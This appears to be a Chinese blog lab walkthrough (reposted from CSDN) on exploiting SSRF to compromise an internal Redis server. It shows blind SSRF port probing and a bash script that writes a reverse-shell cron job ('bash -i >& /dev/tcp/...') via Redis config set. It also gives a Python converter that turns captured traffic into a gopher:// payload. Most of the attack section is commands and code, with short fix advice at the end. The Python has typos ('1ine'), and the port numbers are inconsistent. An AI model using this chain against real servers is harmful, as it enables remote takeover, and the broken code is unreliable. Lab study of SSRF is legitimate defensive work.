SSRF漏洞进阶——攻击内网Redis

警告

请勿使用本文提到的内容违反法律
本文不提供任何担保

目录

警告

一、拓展攻击面

二、实验环境

 三、实践漏洞学习

(一)环境部署与Blind SSRF方法是:通过观察响应时间和响应状态判断指定端口是否打开。

 (二)CentOS机器开启Redis服务,kali机器写定时任务到CentOS机器中。

 (三)通过gopher协议攻击Redis

 四、漏洞修复

警告


SSRF漏洞分析与实践_xiaochuhe.的博客-CSDN博客

一、拓展攻击面

        结合gopher协议攻击内网FTP、Telnet、Redis、FastCGI、Memcache,也可以进行get、post请求。


二、实验环境

  • CentOS:SSRF漏洞环境 + 模拟内网Redis服务;ip:10.1.1.100
  • Kali Linux:Redis服务 + 漏洞利用;ip:10.1.1.200

 三、实践漏洞学习

(一)环境部署与Blind SSRF
方法是:通过观察响应时间和响应状态判断指定端口是否打开。

1.开启抓包,在‘无回显的SSRF’处输入 http://127.0.0.1:22,点击‘TEST IT’后,右键选择Send to Repeater发送到重放模块(快捷键 Ctrl+R)。

2. 点击‘go’之后Response很快响应,表示CentOS机器22端口开启。

 3.将IP改为10.1.1.20,重新点击‘go’观察Response的反应,发现Response响应了一段时间才有结果,表示10.1.1.20的IP地址未开启22端口。(目的是:探测内网其他主机端口开放。)

 (二)CentOS机器开启Redis服务,kali机器写定时任务到CentOS机器中。

1.  Redis服务安装时默认绑定IP为127.0.0.1,此处不需要设置,查看Redis配置文件redis.conf: 

find  /  -name  redis.conf
vi  /root/redis-5.0.4/redis.conf

 2.CentOS机器开启Redis服务

cd  /usr/local/bin

./redis-server  /root/redis-5.0.4/redis.conf

 3.查看kali机器的Redis版本,并启动服务器

 4.另外开启一个终端,测试启动

5.在kali机器写一个redis反弹shell的bash脚本,在Redis的第0个数据库中添加key为1,名为root的定时任务,value字段最后会多一个n是因为echo重定向最后会自带一个换行符,位置为CentOS机器的/var/spool/cron/,10.1.1.200为获取反弹shell的本地IP地址,520为反弹shell的监听端口,可随意设置。

#关于redis的shell
echo -e "\n\n\n*1/ * * * * bash -i >& /dev/tcp/10.1.1.200/520 0>&1\n\n\n\n"|/usr/redis/redis-cli -h $1 -p $2 -x set 1
/usr/redis/redis-cli -h $1 -p $2 config set dir /var/spool/cron/
/usr/redis/redis-cli -h $1 -p $2 config set dbfilename root
/usr/redis/redis-cli -h $1 -p $2 save
/usr/redis/redis-cli -h $1 -p $2 quit

 (三)通过gopher协议攻击Redis

1.Kali机器另外开启一个终端,使用socat进行端口转发,获取Redis攻击的TCP数据包,将本地的2333端口转发到Redis服务器的6379端口,访问本地的2333端口其实是访问Redis服务器的6379端口。

socat -v tcp-listen:1314,fork tcp-conncet:127.0.0.1:6379

2.   执行脚本:#bash  shell.sh  127.0.0.1  1314,并查看捕获到的数据包。

 3.利用脚本将数据转换成适配于gopher协议的URL,转换规则:

  • 如果第一个字符是 > 或者 < ,则丢弃该行字符串,表示请求和返回的时间;
  • 如果前三个字符是 +OK,则丢弃该行字符串,表示返回的字符串;
  • 将\r字符替换成 %0d%0a;
  • 将空白行替换成 %0a。

4.先将socat获取的数据保存为socat.log文件,然后执行脚本进行数据转换:

脚本如下:

#coding: utf-8import sys
import sys

exp = ''
with open(sys.argv[1]) as f:
	for line in f.readlines():
		if line[0] in'><+' :
			continue
		#判断倒数第2、3字符串是否为\r
		elif line[-3:-1] == r'\r' :
		#如果该行只有\r,将\r替换成%0a%0d%0a
			if len(line) == 3:
				exp = exp + '%0a%0d%0a'
			else :
				line = line.replace(r'\r', '%0d%0a')
				#去掉最后的换行符
				line = line.replace('\n', '')
				exp = exp + 1ine
		#判断是否是空行,空行替换为%0a
		elif line == '\x0a':
			exp = exp + '%0a'
		else:
			line = line.replace('\n', '')
			exp = exp + line
print exp

5.此时nc开始监听520端口:

 

6.  在‘有回显的SSRF’处输入gopher://127.0.0.1:6379/_+数据转换的内容,点击‘TEST IT’后查看监听结果

 

 最后成功获取反弹shell。在浏览器的‘SEE THE RESULT’处也可以看到定时任务写入成功!


 四、漏洞修复

1. 限制协议为HTTP、HTTPS;

2. 禁止30x跳转;

3. 设置URL白名单或限制内网IP。


实验环境:合天实验室

参考:合天网安实验室-专业提供网络安全\信息安全在线实验服务的网络靶场

警告

请勿使用本文提到的内容违反法律
本文不提供任何担保

猜你喜欢

转载自blog.csdn.net/xiaofengdada/article/details/124418425